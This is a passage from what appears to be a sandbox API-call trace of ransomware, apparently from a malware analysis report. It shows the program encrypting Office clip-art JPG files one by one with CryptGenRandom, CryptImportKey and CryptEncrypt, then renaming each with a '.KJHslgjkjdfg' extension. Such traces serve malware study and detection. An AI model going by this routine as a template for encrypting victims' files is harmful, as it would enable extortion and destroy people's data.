dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.406] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x98d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x98d0, lpOverlapped=0x0) returned 1 [0184.407] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x99a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.407] SetEndOfFile (hFile=0x114) returned 1 [0184.410] GetProcessHeap () returned 0x2a0000 [0184.410] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.410] GetProcessHeap () returned 0x2a0000 [0184.410] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.kjhslgjkjdfg")) returned 1 [0184.412] CloseHandle (hObject=0x114) returned 1 [0184.412] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb9bf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387604.JPG", cAlternateFileName="")) returned 1 [0184.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.413] GetProcessHeap () returned 0x2a0000 [0184.413] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.413] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.413] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.413] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0184.417] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.417] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.417] GetProcessHeap () returned 0x2a0000 [0184.417] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.417] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.417] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.417] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.417] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.417] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.417] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.418] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.418] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.418] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.418] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb9bf, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb9bf, lpOverlapped=0x0) returned 1 [0184.422] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb9c0, dwBufLen=0xb9c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb9c0) returned 1 [0184.423] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.423] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb9c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb9c0, lpOverlapped=0x0) returned 1 [0184.423] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.424] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xba94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.424] SetEndOfFile (hFile=0x114) returned 1 [0184.427] GetProcessHeap () returned 0x2a0000 [0184.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.427] GetProcessHeap () returned 0x2a0000 [0184.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.kjhslgjkjdfg")) returned 1 [0184.428] CloseHandle (hObject=0x114) returned 1 [0184.429] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387882.JPG", cAlternateFileName="")) returned 1 [0184.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.430] GetProcessHeap () returned 0x2a0000 [0184.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.430] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.433] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.433] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.433] GetProcessHeap () returned 0x2a0000 [0184.433] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.433] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.433] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.433] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.433] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.433] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.433] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.433] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.434] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.434] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.434] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.434] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x98ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x98ec, lpOverlapped=0x0) returned 1 [0184.435] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x98f0, dwBufLen=0x98f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x98f0) returned 1 [0184.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.436] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x98f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x98f0, lpOverlapped=0x0) returned 1 [0184.436] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x99c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.436] SetEndOfFile (hFile=0x114) returned 1 [0184.439] GetProcessHeap () returned 0x2a0000 [0184.439] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.439] GetProcessHeap () returned 0x2a0000 [0184.439] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.kjhslgjkjdfg")) returned 1 [0184.441] CloseHandle (hObject=0x114) returned 1 [0184.442] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7df3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0387895.JPG", cAlternateFileName="")) returned 1 [0184.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.443] GetProcessHeap () returned 0x2a0000 [0184.444] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.444] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.444] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.444] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0184.446] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.446] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.446] GetProcessHeap () returned 0x2a0000 [0184.446] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.446] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.446] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.446] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.446] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.447] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.447] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.447] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.447] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.447] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.447] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7df3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7df3, lpOverlapped=0x0) returned 1 [0184.448] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e00, dwBufLen=0x7e00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7e00) returned 1 [0184.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.449] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7e00, lpOverlapped=0x0) returned 1 [0184.449] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.449] SetEndOfFile (hFile=0x114) returned 1 [0184.452] GetProcessHeap () returned 0x2a0000 [0184.452] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.452] GetProcessHeap () returned 0x2a0000 [0184.452] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387895.jpg.kjhslgjkjdfg")) returned 1 [0184.454] CloseHandle (hObject=0x114) returned 1 [0184.454] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a43300, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59a43300, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x351c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0390072.JPG", cAlternateFileName="")) returned 1 [0184.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.455] GetProcessHeap () returned 0x2a0000 [0184.455] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.455] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.455] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.458] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.458] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.458] GetProcessHeap () returned 0x2a0000 [0184.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.458] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.458] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.458] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.458] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.458] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.458] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.459] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.459] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.459] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.459] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x351c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x351c, lpOverlapped=0x0) returned 1 [0184.460] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3520, dwBufLen=0x3520 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3520) returned 1 [0184.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.460] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3520, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3520, lpOverlapped=0x0) returned 1 [0184.461] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x35f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.461] SetEndOfFile (hFile=0x114) returned 1 [0184.463] GetProcessHeap () returned 0x2a0000 [0184.463] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.464] GetProcessHeap () returned 0x2a0000 [0184.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0390072.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0390072.jpg.kjhslgjkjdfg")) returned 1 [0184.466] CloseHandle (hObject=0x114) returned 1 [0184.466] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: 